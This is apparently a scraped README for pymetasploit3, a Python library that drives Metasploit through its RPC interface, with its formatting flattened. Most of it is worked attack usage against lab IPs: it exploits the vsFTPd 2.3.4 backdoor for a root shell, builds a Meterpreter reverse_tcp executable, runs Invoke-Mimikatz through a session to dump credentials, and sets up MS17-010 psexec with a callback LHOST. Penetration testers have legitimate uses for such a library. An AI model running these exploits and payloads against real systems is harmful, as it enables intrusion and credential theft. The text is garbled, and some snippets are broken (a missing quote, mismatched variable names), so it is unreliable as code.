Package: testpymetasploit3
Pymetasploit3Pymetasploit3 is a full-fledged Python3 Metasploit automation library. It can interact with Metasploit either through msfrpcd or the msgrpc plugin in msfconsole.Original library: pymetasploitThis is an updated and improved version of the Python2 pymetasploit library by allfro.Original project  :https://github.com/allfro/pymetasploitInstallationmkdir your-project

machine as our exploit target. It's running our favorite version of vsFTPd - 2.3.4 - and we already have our exploit
module loaded. Our next step is to specify our target:>>>exploit['RHOSTS']='172.16.14.145'# IP of our target host>>>Select a payload:>>>exploit.targetpayloads()['cmd/unix/interact']>>>At this point, this exploit only supports one payload (cmd/unix/interact). So let's pop a shell:>>>exploit.execute(payload='cmd/unix/interact'){'job_id':1,'uuid':'3whbuevf'}>>>We know the job ran successfully becausejob_idis1. If the module failed to execute for any reason,job_idwould
beNone. If we managed to pop our box, we might see something nice in the sessions list:>>>client.sessions.list{1:{'info':'','username':'jsmith','session_port':21,'via_payload':'payload/cmd/unix/interact','uuid':'5orqnnyv','tunnel_local':'172.16.14.1:58429','via_exploit':'exploit/unix/ftp/vsftpd_234_backdoor','exploit_uuid':'3whbuevf','tunnel_peer':'172.16.14.145:6200','workspace':'false','routes':'','target_host':'172.16.14.145','type':'shell','session_host':'172.16.14.145','desc':'Command shell'}}>>>generate a payloadCreate a payload module object:payload=client.modules.use('payload','windows/meterpreter/reverse_tcp')View module information as described aboveSetting runoptions and generate payload# set runoptionspayload.runoptions['BadChars']=''payload.runoptions['Encoder']=''payload.runoptions['Format']='exepayload.runoptions['NopSledSize']=0payload.runoptions['ForceEncode']=False# payload.runoptions['Template'] = ''payload.runoptions['Platform']=''# payload.runoptions['KeepTemplateWorking'] = Truepayload.runoptions['Iterations']=0data=payload.payload_generate()ifisinstance(data,str):print(data)else:withopen('test.exe','wb')asf:f.write(data)Interacting with the shellCreate a shell object out of the session number we found above and write to it:>>>shell=client.sessions.session('1')>>>shell.write('whoami')>>>print(shell.read())root>>>Run the sameexploitobject as before but wait until it completes and gather it's output:>>>cid=client.consoles.console().cid# Create a new console and store its number in 'cid'>>>print(client.consoles.console(cid).run_module_with_output(exploit,payload='cmd/unix/interact'))# Some time passes'[*] 172.16.14.145:21 - Banner: 220 vsFTPd 2.3.4[*]172.16.14.145:21-USER:331Pleasespecifythepassword...'client.sessions.session('1')has the same.write('some string')and.read()methods, but running session commands and
waiting until they're done returning output isn't as simple as console commands. The Metasploit RPC server will return
abusyvalue that isTrueorFalsewithclient.consoles.console('1').is_busy()but determining if aclient.sessions.session()is done running a command requires us to do it by hand. For this purpose we will use a
list of strings that, when any one is found in the session's output, will tell us that the session is done running
its command. Below we are running thearpcommand within a meterpreter session. We know this command will return one
large blob of text that will contain the characters----if it's successfully run so we put that into a list object.>>>session_id='1'>>>session_command='arp'>>>terminating_strs=['----']>>>client.sessions.session(session_id).run_with_output(session_command,terminating_strs)# Some time passes'\nARP Table\n---------------\n...`Run a PowerShell script with output>>>session_id='1'>>>psh_script_path='/home/user/scripts/Invoke-Mimikatz.ps1'>>>session=c.sessions.session(sessions_id)>>>sessions.import_psh(psh_script_path)>>>sessions.run_psh_cmd('Invoke-Mimikatz')# Some time passes'Mimikatz output...'One can also use a timeout and simply return all data found before the timeout expired.timeoutdefaults to
Metasploit's comm timeout of 300s and will throw an exception if the command timed out. To change this, settimeout_exceptiontoFalseand the library will simply return all the data from the session output it found before
the timeout expired.>>>session_id='1'>>>session_command='arp'>>>terminating_strs=['----']>>>client.sessions.session(session_id).run_with_output(session_command,terminating_strs,timeout=10,timeout_exception=False))# 10s pass'\nARP Table\n---------------\n...`Configuring payload optionsFor some usecases you might need to specify payload options, here's an example on how to do so.exploit = client.modules.use('exploit', 'windows/smb/ms17_010_psexec')
exploit['RHOSTS'] = '172.28.128.13'
payload = client.modules.use('payload', 'windows/meterpreter/reverse_tcp')
payload['LHOST'] = '172.28.128.1'
payload['LPORT'] = 4444
